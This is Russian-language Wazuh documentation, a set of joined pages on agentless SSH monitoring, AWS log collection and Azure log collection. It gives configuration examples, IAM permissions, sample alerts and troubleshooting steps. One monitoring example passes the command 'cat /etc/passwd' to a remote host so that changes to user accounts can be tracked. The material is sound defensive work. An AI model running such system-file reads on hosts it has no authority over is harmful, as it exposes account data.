| `frequency` | Интервал между проверками в секундах |
| `host` | Учетные данные и адрес: `user@hostname` |
| `state` | Режим анализа: `periodic` или `periodic_diff` |
| `arguments` | Аргументы проверки (пути, команды) |

### Параметр state

- `periodic` - результат проверки анализируется правилами при каждом выполнении
- `periodic_diff` - текущий результат сравнивается с предыдущим, алерт генерируется при обнаружении различий

## Поддерживаемые типы проверок

### ssh_integrity_check_linux

Проверка целостности файлов на Linux-системах. Вычисляет контрольные суммы MD5 для указанных файлов и директорий.

```xml
<agentless>
  <type>ssh_integrity_check_linux</type>
  <frequency>3600</frequency>
  <host>admin@10.0.0.10</host>
  <state>periodic_diff</state>
  <arguments>/etc /usr/bin /usr/sbin</arguments>
</agentless>
```

При режиме `periodic_diff` Wazuh генерирует алерт при изменении контрольной суммы любого файла в указанных директориях.

### ssh_integrity_check_bsd

Аналогичная проверка для BSD-систем (FreeBSD, OpenBSD, NetBSD). Использует команды, совместимые с BSD-утилитами.

```xml
<agentless>
  <type>ssh_integrity_check_bsd</type>
  <frequency>3600</frequency>
  <host>admin@10.0.0.20</host>
  <state>periodic_diff</state>
  <arguments>/etc /usr/local/bin</arguments>
</agentless>
```

### ssh_generic_diff

Выполнение произвольной команды на удаленном устройстве и отслеживание изменений в выводе. Наиболее гибкий тип проверки.

```xml
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>1800</frequency>
  <host>admin@10.0.0.30</host>
  <state>periodic_diff</state>
  <arguments>netstat -tulnp</arguments>
</agentless>
```

Дополнительные примеры:

```xml
<!-- Мониторинг таблицы маршрутизации -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>600</frequency>
  <host>admin@router-core.local</host>
  <state>periodic_diff</state>
  <arguments>ip route show</arguments>
</agentless>

<!-- Мониторинг ARP-таблицы -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>300</frequency>
  <host>admin@switch-access.local</host>
  <state>periodic_diff</state>
  <arguments>arp -a</arguments>
</agentless>

<!-- Мониторинг пользователей -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>3600</frequency>
  <host>admin@legacy-unix.local</host>
  <state>periodic_diff</state>
  <arguments>cat /etc/passwd</arguments>
</agentless>
```

### ssh_pixconfig_diff

Специализированная проверка для маршрутизаторов Cisco PIX/ASA. Отслеживает изменения в конфигурации устройства.

```xml
<agentless>
  <type>ssh_pixconfig_diff</type>
  <frequency>3600</frequency>
  <host>enable_password:admin@10.0.0.1</host>
  <state>periodic_diff</state>
</agentless>
```

Для Cisco-устройств формат `host` включает enable-пароль перед именем пользователя: `enable_password:user@host`.

## Практические сценарии

### Мониторинг маршрутизаторов

Отслеживание изменений конфигурации и таблицы маршрутизации сетевых маршрутизаторов:

```xml
<!-- Конфигурация маршрутизатора -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>1800</frequency>
  <host>admin@router-01.local</host>
  <state>periodic_diff</state>
  <arguments>show running-config</arguments>
</agentless>

<!-- Таблица маршрутизации -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>600</frequency>
  <host>admin@router-01.local</host>
  <state>periodic_diff</state>
  <arguments>show ip route</arguments>
</agentless>
```

### Мониторинг коммутаторов

```xml
<!-- Состояние портов -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>900</frequency>
  <host>admin@switch-01.local</host>
  <state>periodic_diff</state>
  <arguments>show interfaces status</arguments>
</agentless>

<!-- MAC-адресная таблица -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>300</frequency>
  <host>admin@switch-01.local</host>
  <state>periodic_diff</state>
  <arguments>show mac address-table</arguments>
</agentless>
```

### Мониторинг legacy Unix-систем

Для систем, на которые невозможно установить агент (устаревшие версии ОС, ограниченные ресурсы):

```xml
<!-- Проверка целостности системных файлов -->
<agentless>
  <type>ssh_integrity_check_linux</type>
  <frequency>7200</frequency>
  <host>root@legacy-solaris.local</host>
  <state>periodic_diff</state>
  <arguments>/etc /usr/local/etc</arguments>
</agentless>

<!-- Мониторинг запущенных процессов -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>600</frequency>
  <host>root@legacy-solaris.local</host>
  <state>periodic_diff</state>
  <arguments>ps -ef</arguments>
</agentless>

<!-- Мониторинг crontab -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>3600</frequency>
  <host>root@legacy-solaris.local</host>
  <state>periodic_diff</state>
  <arguments>crontab -l 2>/dev/null; cat /etc/crontab</arguments>
</agentless>
```

### Мониторинг межсетевых экранов

```xml
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>1800</frequency>
  <host>admin@firewall.local</host>
  <state>periodic_diff</state>
  <arguments>iptables -L -n</arguments>
</agentless>
```

## Мониторинг нескольких устройств

Для каждого устройства создается отдельный блок `<agentless>`. Множественные проверки одного устройства также допускаются:

```xml
<!-- Устройство 1: маршрутизатор -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>1800</frequency>
  <host>admin@10.0.0.1</host>
  <state>periodic_diff</state>
  <arguments>show running-config</arguments>
</agentless>

<!-- Устройство 2: коммутатор -->
<agentless>
  <type>ssh_generic_diff</type>
  <frequency>900</frequency>
  <host>admin@10.0.0.2</host>
  <state>periodic_diff</state>
  <arguments>show interfaces status</arguments>
</agentless>

<!-- Устройство 3: сервер Linux -->
<agentless>
  <type>ssh_integrity_check_linux</type>
  <frequency>3600</frequency>
  <host>root@10.0.0.3</host>
  <state>periodic_diff</state>
  <arguments>/etc /usr/bin</arguments>
</agentless>
```

## Ограничения

Безагентный мониторинг имеет ряд ограничений по сравнению с агентным подходом:

| Ограничение | Описание |
|-------------|----------|
| Нет реального времени | Проверки выполняются периодически, минимальный интервал ограничен |
| Нет Active Response | Невозможно выполнить автоматическое реагирование |
| Нет FIM | Мониторинг целостности ограничен контрольными суммами |
| Нет Syscollector | Инвентаризация системы недоступна |
| Нет SCA | Оценка конфигурации безопасности недоступна |
| Зависимость от SSH | Требуется доступ по SSH и предварительная настройка ключей |
| Нагрузка на сервер | Все SSH-соединения инициируются с сервера Wazuh |
| Ограниченная масштабируемость | Большое количество устройств нагружает сервер |

Рекомендация: используйте агентный мониторинг для всех систем, где это возможно. Безагентный мониторинг является резервным вариантом для устройств, не поддерживающих установку агента.

Подробнее о возможностях агента: [Установка агента Wazuh](/docs/wazuh/installation/wazuh-agent-installation/)

## Устранение неполадок

### SSH-подключение не устанавливается

- Проверьте сетевую доступность устройства: `ping` и `ssh` с сервера Wazuh
- Убедитесь, что SSH-ключ скопирован на целевое устройство
- Проверьте, что пользователь `wazuh` может подключиться: `sudo -u wazuh ssh admin@device`
- Убедитесь, что хост зарегистрирован: проверьте `/var/ossec/agentless/.passlist`
- Проверьте `/var/ossec/logs/ossec.log` на наличие ошибок модуля agentless

### Изменения не обнаруживаются

- Убедитесь, что `<state>` установлено в `periodic_diff`
- Дождитесь минимум двух циклов проверки для формирования базовой линии
- Проверьте, что команда в `<arguments>` возвращает ожидаемый вывод
- Для проверки целостности убедитесь, что указанные пути существуют на целевом устройстве

### Ошибка аутентификации на Cisco

- Проверьте формат `<host>`: `enable_password:user@host`
- Убедитесь, что enable-пароль корректен
- Проверьте, что SSH включен на устройстве Cisco
- Убедитесь, что пользователь имеет привилегии уровня 15

### Высокая нагрузка на сервер Wazuh

- Увеличьте `<frequency>` для снижения частоты проверок
- Распределите проверки по времени, чтобы избежать одновременных подключений
- Сократите количество путей в `<arguments>` для проверок целостности
- Рассмотрите установку агента на устройства, где это возможно

Подробнее об архитектуре: [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/)

Подробнее о сборе логов: [Сбор логов Wazuh](/docs/wazuh/capabilities/wazuh-log-data-collection/)


---

# Wazuh AWS - мониторинг сервисов Amazon Web Services

Source: https://opennix.org/docs/wazuh/cloud-security/wazuh-aws-monitoring/


Wazuh обеспечивает мониторинг безопасности Amazon Web Services через модуль `aws-s3`, который собирает журналы из S3-бакетов и обрабатывает события облачных сервисов AWS. Модуль поддерживает более 15 сервисов AWS, включая CloudTrail, GuardDuty, VPC Flow Logs, WAF и другие. Интеграция позволяет централизовать анализ облачных событий в Wazuh для обнаружения несанкционированного доступа, изменений конфигурации и сетевых аномалий.

## Поддерживаемые сервисы AWS

Модуль `aws-s3` обрабатывает журналы следующих сервисов:

| Сервис | Тип бакета | Назначение |
|--------|-----------|------------|
| AWS CloudTrail | `cloudtrail` | Журнал вызовов AWS API и действий пользователей |
| Amazon VPC Flow Logs | `vpcflow` | Сетевой трафик в виртуальных частных облаках |
| Amazon GuardDuty | `guardduty` | Обнаружение угроз и аномалий |
| AWS WAF | `waf` | Журналы веб-фаервола |
| Amazon Macie | `custom` | Обнаружение конфиденциальных данных в S3 |
| AWS Config | `config` | Отслеживание изменений конфигурации ресурсов |
| AWS Trusted Advisor | `custom` | Рекомендации по безопасности и оптимизации |
| AWS KMS | `custom` | Операции с ключами шифрования |
| Amazon Inspector | `custom` | Оценка уязвимостей EC2-инстансов |
| Amazon CloudWatch Logs | `cloudwatch` | Журналы приложений и системные логи |
| Amazon S3 Server Access | `server_access` | Журналы доступа к S3-бакетам |
| Amazon ECR Image Scanning | `custom` | Сканирование образов контейнеров |
| Elastic Load Balancer (ALB/CLB/NLB) | `alb` / `clb` / `nlb` | Журналы балансировщиков нагрузки |
| Amazon Security Lake | `security_lake` | Централизованное хранилище событий безопасности |
| AWS Security Hub | `custom` | Агрегация результатов безопасности |

## Конфигурация модуля aws-s3

Модуль настраивается в файле `ossec.conf` на сервере Wazuh или агенте.

### Базовая конфигурация для CloudTrail

```xml
<wodle name="aws-s3">
  <disabled>no</disabled>
  <interval>10m</interval>
  <run_on_start>yes</run_on_start>
  <skip_on_error>yes</skip_on_error>
  <bucket type="cloudtrail">
    <name>my-cloudtrail-bucket</name>
    <aws_profile>default</aws_profile>
  </bucket>
</wodle>
```

### Конфигурация для нескольких сервисов

```xml
<wodle name="aws-s3">
  <disabled>no</disabled>
  <interval>10m</interval>
  <run_on_start>yes</run_on_start>
  <skip_on_error>yes</skip_on_error>

  <bucket type="cloudtrail">
    <name>my-cloudtrail-bucket</name>
    <aws_profile>production</aws_profile>
  </bucket>

  <bucket type="vpcflow">
    <name>my-vpcflow-bucket</name>
    <aws_profile>production</aws_profile>
  </bucket>

  <bucket type="guardduty">
    <name>my-guardduty-bucket</name>
    <aws_profile>production</aws_profile>
  </bucket>

  <bucket type="waf">
    <name>my-waf-bucket</name>
    <aws_profile>production</aws_profile>
  </bucket>

  <bucket type="config">
    <name>my-config-bucket</name>
    <aws_profile>production</aws_profile>
  </bucket>
</wodle>
```

### Параметры модуля

| Параметр | Значение по умолчанию | Описание |
|----------|-----------------------|----------|
| `disabled` | no | Включение или отключение модуля |
| `interval` | 10m | Интервал опроса S3-бакетов (s/m/h/d) |
| `run_on_start` | yes | Выполнение при старте сервиса |
| `skip_on_error` | yes | Продолжение работы при ошибке обработки |
| `only_logs_after` | - | Сбор логов начиная с указанной даты (YYYY-MMM-DD) |
| `regions` | все | Ограничение по регионам AWS |
| `aws_account_id` | - | Фильтрация по идентификатору аккаунта |
| `path` | - | Префикс каталога в S3-бакете |

### Структура каталогов CloudTrail в S3

Логи CloudTrail сохраняются в S3 по следующей структуре:

```
<BUCKET>/<PREFIX>/AWSLogs/<ACCOUNT_ID>/CloudTrail/<REGION>/<YEAR>/<MONTH>/<DAY>/
```

## Методы аутентификации

Модуль `aws-s3` поддерживает три метода аутентификации в AWS.

### Профили с ключами доступа

Учетные данные хранятся в файле `/root/.aws/credentials`:

```ini
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[production]
aws_access_key_id = AKIAI44QH8DHBEXAMPLE
aws_secret_access_key = je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
```

Конфигурация региона в `/root/.aws/config`:

```ini
[default]
region = us-east-1

[profile production]
region = eu-west-1
```

Ссылка на профиль в `ossec.conf`:

```xml
<bucket type="cloudtrail">
  <name>my-cloudtrail-bucket</name>
  <aws_profile>production</aws_profile>
</bucket>
```

### IAM-роль для EC2

Рекомендуемый метод при работе Wazuh на EC2-инстансе. Временные учетные данные получаются автоматически через Instance Metadata Service. Конфигурация не требует указания профиля или ключей:

```xml
<bucket type="cloudtrail">
  <name>my-cloudtrail-bucket</name>
</bucket>
```

Для использования этого метода назначьте EC2-инстансу IAM-роль с необходимыми разрешениями через Instance Profile.

### Принятие роли (Assume Role)

Позволяет получить временные учетные данные для доступа к ресурсам другого аккаунта AWS. Требует настройки доверительных отношений между аккаунтами:

```xml
<bucket type="cloudtrail">
  <name>my-cloudtrail-bucket</name>
  <aws_profile>default</aws_profile>
  <iam_role_arn>arn:aws:iam::123456789012:role/WazuhCloudTrailRole</iam_role_arn>
</bucket>
```

Параметр `iam_role_arn` содержит ARN IAM-роли, которую модуль примет через STS AssumeRole.

## Интеграция с SQS

Для масштабируемой доставки логов из S3 в Wazuh используется Amazon SQS (Simple Queue Service). При большом объеме логов SQS устраняет задержки, связанные с перебором объектов в бакете.

### Принцип работы

1. S3-бакет настроен на отправку уведомлений о новых объектах в SQS-очередь
2. Модуль Wazuh опрашивает SQS-очередь вместо прямого перебора S3
3. Каждое сообщение SQS содержит ключ нового объекта в S3
4. Модуль скачивает и обрабатывает только указанные объекты

### Настройка S3-уведомлений

Создайте Event Notification в настройках S3-бакета:
- **Events**: `s3:ObjectCreated:*`
- **Destination**: SQS Queue
- **Queue ARN**: `arn:aws:sqs:<REGION>:<ACCOUNT_ID>:<QUEUE_NAME>`

### Конфигурация SQS в ossec.conf

```xml
<wodle name="aws-s3">
  <disabled>no</disabled>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <skip_on_error>yes</skip_on_error>
  <bucket type="cloudtrail">
    <name>my-cloudtrail-bucket</name>
    <aws_profile>default</aws_profile>
    <sqs_name>my-cloudtrail-sqs-queue</sqs_name>
  </bucket>
</wodle>
```

### Преимущества SQS-интеграции

- Более быстрая обработка новых логов (push вместо pull)
- Снижение нагрузки на S3 API (меньше вызовов ListObjects)
- Поддержка мультиаккаунтных развертываний
- Автоматическая обработка ошибок через Dead Letter Queue

## Необходимые IAM-разрешения

Для корректной работы модуля `aws-s3` IAM-политика должна включать следующие разрешения:

### Базовые разрешения для S3

| Действие | Ресурс | Назначение |
|----------|--------|------------|
| `s3:GetObject` | `arn:aws:s3:::<BUCKET>/*` | Чтение объектов из бакета |
| `s3:ListBucket` | `arn:aws:s3:::<BUCKET>` | Перечисление объектов в бакете |

### Разрешения для SQS (при использовании очереди)

| Действие | Ресурс | Назначение |
|----------|--------|------------|
| `sqs:ReceiveMessage` | `arn:aws:sqs:<REGION>:<ACCOUNT>:<QUEUE>` | Получение сообщений из очереди |
| `sqs:DeleteMessage` | `arn:aws:sqs:<REGION>:<ACCOUNT>:<QUEUE>` | Удаление обработанных сообщений |
| `sqs:GetQueueUrl` | `arn:aws:sqs:<REGION>:<ACCOUNT>:<QUEUE>` | Получение URL очереди |

### Разрешения для Assume Role

| Действие | Ресурс | Назначение |
|----------|--------|------------|
| `sts:AssumeRole` | `arn:aws:iam::<ACCOUNT>:role/<ROLE>` | Принятие IAM-роли в целевом аккаунте |

### Пример IAM-политики

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::my-cloudtrail-bucket",
        "arn:aws:s3:::my-cloudtrail-bucket/*"
      ]
    },
    {
      "Effect": "Allow",
      "Action": [
        "sqs:ReceiveMessage",
        "sqs:DeleteMessage",
        "sqs:GetQueueUrl"
      ],
      "Resource": "arn:aws:sqs:us-east-1:123456789012:my-cloudtrail-sqs-queue"
    }
  ]
}
```

## Анализ CloudTrail

CloudTrail фиксирует все вызовы AWS API, предоставляя полную картину действий пользователей и сервисов в аккаунте.

### Обнаружение несанкционированных вызовов API

Wazuh анализирует события CloudTrail с кодом ошибки `AccessDenied` или `UnauthorizedAccess` и генерирует алерты. Пример события:

```json
{
  "rule": {
    "id": "80253",
    "level": 3,
    "description": "AWS CloudTrail: unauthorized API call"
  },
  "data": {
    "aws": {
      "eventName": "DescribeInstances",
      "errorCode": "AccessDenied",
      "userIdentity": {
        "type": "IAMUser",
        "userName": "suspicious-user"
      },
      "sourceIPAddress": "198.51.100.42",
      "awsRegion": "us-east-1"
    }
  }
}
```

### Обнаружение входа под root-аккаунтом

Вход под root-аккаунтом AWS генерирует алерт высокого уровня:

```json
{
  "rule": {
    "id": "80302",
    "level": 8,
    "description": "AWS CloudTrail: Root account login detected"
  },
  "data": {
    "aws": {
      "eventName": "ConsoleLogin",
      "userIdentity": {
        "type": "Root",
        "arn": "arn:aws:iam::123456789012:root"
      },
      "responseElements": {
        "ConsoleLogin": "Success"
      },
      "sourceIPAddress": "203.0.113.15"
    }
  }
}
```

### Изменения Security Groups

Wazuh обнаруживает добавление разрешающих правил в группы безопасности:

```json
{
  "rule": {
    "id": "80447",
    "level": 5,
    "description": "AWS CloudTrail: Security group ingress rule added"
  },
  "data": {
    "aws": {
      "eventName": "AuthorizeSecurityGroupIngress",
      "requestParameters": {
        "groupId": "sg-0a1b2c3d4e5f67890",
        "ipPermissions": {
          "items": [{
            "fromPort": 22,
            "toPort": 22,
            "ipRanges": {"items": [{"cidrIp": "0.0.0.0/0"}]}
          }]
        }
      }
    }
  }
}
```

### Создание и удаление IAM-пользователей

```json
{
  "rule": {
    "id": "80258",
    "level": 5,
    "description": "AWS CloudTrail: IAM user created"
  },
  "data": {
    "aws": {
      "eventName": "CreateUser",
      "requestParameters": {
        "userName": "new-admin-user"
      },
      "userIdentity": {
        "userName": "admin"
      }
    }
  }
}
```

## Интеграция GuardDuty

Amazon GuardDuty - это управляемый сервис обнаружения угроз, который анализирует потоки данных из CloudTrail, VPC Flow Logs и DNS-логов. Wazuh импортирует находки GuardDuty и обрабатывает их как алерты.

### Конфигурация

```xml
<bucket type="guardduty">
  <name>my-guardduty-bucket</name>
  <aws_profile>default</aws_profile>
</bucket>
```

### Пример алерта GuardDuty

```json
{
  "rule": {
    "id": "80301",
    "level": 8,
    "description": "AWS GuardDuty: Unusual API call from known malicious IP"
  },
  "data": {
    "aws": {
      "service": {
        "serviceName": "guardduty",
        "action": {
          "actionType": "AWS_API_CALL",
          "awsApiCallAction": {
            "api": "DescribeInstances",
            "callerType": "Remote IP"
          }
        }
      },
      "severity": 8,
      "title": "API DescribeInstances was invoked from a known malicious IP address",
      "type": "Recon:EC2/MaliciousIPCaller.Custom"
    }
  }
}
```

### Типы угроз GuardDuty

GuardDuty классифицирует находки по категориям:

- **Recon** - разведка (сканирование портов, перечисление ресурсов)
- **UnauthorizedAccess** - несанкционированный доступ
- **Trojan** - обнаружение троянского ПО
- **CryptoCurrency** - майнинг криптовалют
- **Backdoor** - бэкдоры
- **Exfiltration** - эксфильтрация данных

## Мониторинг VPC Flow Logs

VPC Flow Logs фиксируют сетевой трафик на уровне сетевых интерфейсов, подсетей и VPC.

### Конфигурация

```xml
<bucket type="vpcflow">
  <name>my-vpcflow-bucket</name>
  <aws_profile>default</aws_profile>
</bucket>
```

### Пример алерта VPC Flow Logs

```json
{
  "rule": {
    "id": "80401",
    "level": 4,
    "description": "AWS VPC Flow: Rejected connection attempt"
  },
  "data": {
    "aws": {
      "vpcflow": {
        "srcaddr": "198.51.100.55",
        "dstaddr": "10.0.1.25",
        "srcport": 44820,
        "dstport": 3389,
        "protocol": 6,
        "action": "REJECT"
      }
    }
  }
}
```

## Сценарии использования

### Обнаружение компрометации ключей доступа

Комбинация алертов CloudTrail позволяет выявить использование скомпрометированных ключей:

1. Множественные вызовы API с ошибкой `AccessDenied` с нового IP-адреса
2. Успешный вызов API после серии отказов
3. Создание новых IAM-пользователей или ключей доступа

### Мониторинг соответствия требованиям

- Отслеживание изменений в политиках IAM (PCI DSS 7.1, 7.2)
- Мониторинг шифрования данных через KMS (PCI DSS 3.4)
- Контроль доступа к S3-бакетам с конфиденциальными данными (GDPR Art. 32)

### Обнаружение латерального перемещения

- Аномальные паттерны API-вызовов из скомпрометированного EC2
- Доступ к ресурсам в нехарактерных регионах
- Использование ранее неактивных IAM-ролей

## Устранение неполадок

### Модуль не собирает логи

- Проверьте права доступа IAM-политики: `s3:GetObject` и `s3:ListBucket`
- Убедитесь, что бакет содержит логи в ожидаемой структуре каталогов
- Проверьте файл учетных данных `/root/.aws/credentials`
- Просмотрите журнал модуля: `/var/ossec/logs/ossec.log`

### Ошибка AccessDenied при чтении бакета

- Убедитесь, что IAM-политика назначена корректному пользователю или роли
- Проверьте политику бакета (Bucket Policy) на отсутствие явных запретов
- При использовании Assume Role проверьте доверительные отношения роли
- Проверьте, что регион в конфигурации совпадает с регионом бакета

### Дублирование алертов

- Используйте `only_logs_after` для ограничения начальной даты сбора
- Не используйте `--reparse` в production без необходимости
- Проверьте, что один бакет не указан в нескольких блоках конфигурации

### Задержки в обработке логов

- Уменьшите значение `interval` (например, до 5m)
- Настройте SQS-интеграцию для push-доставки уведомлений
- Используйте фильтрацию по регионам (`regions`) для уменьшения объема данных
- Настройте Dead Letter Queue для SQS для обработки ошибочных сообщений

### Зависимости Python

Модуль требует Python 3 и библиотеку boto3. Установка на сервере Wazuh:

```bash
/var/ossec/framework/python/bin/pip3 install boto3
```

## Связанные разделы

- [Мониторинг облачной безопасности](/docs/wazuh/cloud-security/) - обзор всех облачных интеграций
- [Возможности Wazuh](/docs/wazuh/capabilities/) - модули безопасности платформы
- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - компоненты и потоки данных


---

# Wazuh Azure - мониторинг Microsoft Azure

Source: https://opennix.org/docs/wazuh/cloud-security/wazuh-azure-monitoring/


Wazuh обеспечивает мониторинг безопасности Microsoft Azure через модуль `azure-logs`, который собирает журналы активности, данные Log Analytics и события Microsoft Graph API. Модуль позволяет отслеживать действия пользователей в Azure-подписках, изменения ресурсов, события аутентификации Microsoft Entra ID и данные из Azure Blob Storage. Интеграция предоставляет единую точку анализа облачных угроз в гибридных средах.

## Поддерживаемые источники данных

Модуль `azure-logs` собирает данные из трех основных источников:

| Источник | Тип данных | Назначение |
|----------|-----------|------------|
| Activity Logs | Журналы подписки | Действия с ресурсами, операции управления, диагностика |
| Log Analytics | Аналитические запросы | Агрегация событий из различных источников Azure |
| Microsoft Graph API | API Microsoft Entra ID | Аудит аутентификации, управление пользователями, политики |

Дополнительно модуль поддерживает:

- **Azure Blob Storage** - сбор журналов из контейнеров Blob Storage
- **Microsoft Intune** - мониторинг управления устройствами и политик соответствия

## Регистрация приложения Azure AD

Для работы модуля необходимо зарегистрировать приложение в Microsoft Entra ID (Azure Active Directory) и получить учетные данные для доступа к API.

### Процедура регистрации

1. Перейдите в **Microsoft Entra ID - App registrations - New registration**
2. Укажите имя приложения (например, `Wazuh-Azure-Monitor`)
3. Выберите поддерживаемые типы аккаунтов (Single tenant для одного тенанта)
4. Зафиксируйте значения:
   - **Application (client) ID** - идентификатор приложения
   - **Directory (tenant) ID** - идентификатор тенанта

### Создание секрета клиента

1. Перейдите в **Certificates & Secrets - New client secret**
2. Укажите описание и срок действия
3. Скопируйте значение секрета (отображается только один раз)

### Назначение разрешений

Для Log Analytics и Activity Logs:
- Назначьте роль **Reader** на уровне подписки Azure

Для Microsoft Graph API:
- Перейдите в **API permissions - Add a permission - Microsoft Graph**
- Добавьте разрешения `AuditLog.Read.All` и `Directory.Read.All` (Application)
- Предоставьте согласие администратора (Grant admin consent)

## Конфигурация модуля azure-logs

Модуль настраивается в `ossec.conf` на сервере Wazuh или агенте. Учетные данные хранятся в отдельных файлах.

### Файл учетных данных

Создайте файл `/var/ossec/wodles/credentials/azure_credentials`:

```
application_id = YOUR_APPLICATION_ID
application_key = YOUR_CLIENT_SECRET
```

Для Azure Storage создайте отдельный файл `/var/ossec/wodles/credentials/storage_credentials`:

```
account_name = YOUR_STORAGE_ACCOUNT
account_key = YOUR_STORAGE_KEY
```

Установите разрешения:

```bash
sudo chown root:wazuh /var/ossec/wodles/credentials/azure_credentials
sudo chmod 640 /var/ossec/wodles/credentials/azure_credentials
```

### Конфигурация Log Analytics

```xml
<wodle name="azure-logs">
  <disabled>no</disabled>
  <run_on_start>yes</run_on_start>

  <log_analytics>
    <auth_path>/var/ossec/wodles/credentials/azure_credentials</auth_path>
    <tenantdomain>mycompany.onmicrosoft.com</tenantdomain>
    <request>
      <query>AzureActivity</query>
      <workspace>12345678-90ab-cdef-1234-567890abcdef</workspace>
      <time_offset>1d</time_offset>
    </request>
  </log_analytics>
</wodle>
```

### Конфигурация Microsoft Graph API

```xml
<wodle name="azure-logs">
  <disabled>no</disabled>
  <run_on_start>yes</run_on_start>

  <graph>
    <auth_path>/var/ossec/wodles/credentials/azure_credentials</auth_path>
    <tenantdomain>mycompany.onmicrosoft.com</tenantdomain>
    <request>
      <query>auditLogs/directoryAudits</query>
      <time_offset>1d</time_offset>
    </request>
    <request>
      <query>auditLogs/signIns</query>
      <time_offset>1d</time_offset>
    </request>
  </graph>
</wodle>
```

### Конфигурация Azure Storage

```xml
<wodle name="azure-logs">
  <disabled>no</disabled>
  <run_on_start>yes</run_on_start>

  <storage>
    <auth_path>/var/ossec/wodles/credentials/storage_credentials</auth_path>
    <container name="insights-activity-logs">
      <blobs>.json</blobs>
      <content_type>json_inline</content_type>
      <time_offset>24h</time_offset>
    </container>
  </storage>
</wodle>
```

### Комбинированная конфигурация

```xml
<wodle name="azure-logs">
  <disabled>no</disabled>
  <run_on_start>yes</run_on_start>

  <log_analytics>
    <auth_path>/var/ossec/wodles/credentials/azure_credentials</auth_path>
    <tenantdomain>mycompany.onmicrosoft.com</tenantdomain>
    <request>
      <query>AzureActivity | where Level == "Error"</query>
      <workspace>12345678-90ab-cdef-1234-567890abcdef</workspace>
      <time_offset>12h</time_offset>
    </request>
  </log_analytics>

  <graph>
    <auth_path>/var/ossec/wodles/credentials/azure_credentials</auth_path>
    <tenantdomain>mycompany.onmicrosoft.com</tenantdomain>
    <request>
      <query>auditLogs/signIns</query>
      <time_offset>1d</time_offset>
    </request>
  </graph>
</wodle>
```

### Параметры модуля

| Параметр | Описание |
|----------|----------|
| `disabled` | Включение или отключение модуля (no/yes) |
| `run_on_start` | Запуск при старте сервиса (yes/no) |
| `auth_path` | Путь к файлу учетных данных |
| `tenantdomain` | Доменное имя тенанта Azure AD |
| `query` | Запрос Log Analytics (KQL) или ресурс Graph API |
| `workspace` | Идентификатор рабочей области Log Analytics |
| `time_offset` | Временное окно для запроса (1d, 12h, 1h) |
| `content_type` | Формат данных в Blob Storage (json_inline, json_file) |

## Интеграция с Log Analytics

Azure Log Analytics Workspace агрегирует данные из различных источников Azure. Модуль Wazuh выполняет запросы KQL (Kusto Query Language) к рабочей области для извлечения событий.

### Получение идентификатора Workspace

1. Перейдите в **Log Analytics workspaces** на портале Azure
2. Выберите рабочую область
3. Скопируйте **Workspace ID** из раздела Overview

### Полезные запросы KQL

Запрос ошибок активности:

```
AzureActivity | where Level == "Error"
```

Запрос событий безопасности:

```
SecurityEvent | where EventID == 4625
```

Запрос изменений ресурсов:

```
AzureActivity | where OperationNameValue contains "write" or OperationNameValue contains "delete"
```

## Примеры алертов

### Подозрительный вход в Azure AD

```json
{
  "rule": {
    "id": "62503",
    "level": 5,
    "description": "Azure AD: Sign-in from unusual location"
  },
  "data": {
    "azure": {
      "category": "SignInLogs",
      "operationName": "Sign-in activity",
      "properties": {
        "userPrincipalName": "user@company.com",
        "ipAddress": "198.51.100.42",
        "location": {
          "countryOrRegion": "CN"
        },
        "status": {
          "errorCode": 0,
          "additionalDetails": "MFA completed"
        }
      }
    }
  }
}
```

### Изменение критического ресурса

```json
{
  "rule": {
    "id": "62510",
    "level": 7,
    "description": "Azure: Critical resource modification detected"
  },
  "data": {
    "azure": {
      "operationName": "Microsoft.Network/networkSecurityGroups/write",
      "category": "Administrative",
      "caller": "admin@company.com",
      "properties": {
        "statusCode": "Created",
        "resource": "production-nsg"
      }
    }
  }
}
```

### Нарушение политики соответствия

```json
{
  "rule": {
    "id": "62520",
    "level": 6,
    "description": "Azure Policy: Non-compliant resource detected"
  },
  "data": {
    "azure": {
      "operationName": "Microsoft.Authorization/policyAssignments/write",
      "category": "Policy",
      "properties": {
        "complianceState": "NonCompliant",
        "policyDefinitionName": "require-tag-on-resources"
      }
    }
  }
}
```

## Сценарии использования

### Обнаружение подозрительных входов

- Входы с нетипичных географических расположений
- Множественные неудачные попытки аутентификации
- Входы с анонимных IP-адресов (Tor, VPN)
- Входы с устройств без MFA при активной политике MFA

### Мониторинг изменений ресурсов

- Создание или удаление виртуальных машин
- Изменение правил Network Security Groups
- Модификация политик доступа Key Vault
- Изменение настроек подписки

### Контроль соответствия требованиям

- Отслеживание ресурсов без обязательных тегов
- Мониторинг незашифрованных хранилищ данных
- Контроль назначения привилегированных ролей Azure RBAC
- Отслеживание отклонений от Azure Policy

## Устранение неполадок

### Модуль не подключается к Azure

- Проверьте корректность Application ID и Client Secret
- Убедитесь, что срок действия секрета не истек
- Проверьте, что приложению назначены необходимые разрешения
- Убедитесь, что согласие администратора предоставлено

### Пустые результаты Log Analytics

- Проверьте правильность Workspace ID
- Убедитесь, что рабочая область содержит данные за запрошенный период
- Протестируйте KQL-запрос в Azure Portal (Log Analytics - Logs)
- Проверьте значение `time_offset` - оно должно покрывать период с данными

### Ошибки аутентификации Microsoft Graph

- Проверьте, что разрешения API назначены как Application, а не Delegated
- Убедитесь, что предоставлено согласие администратора
- Проверьте, что tenant domain указан корректно
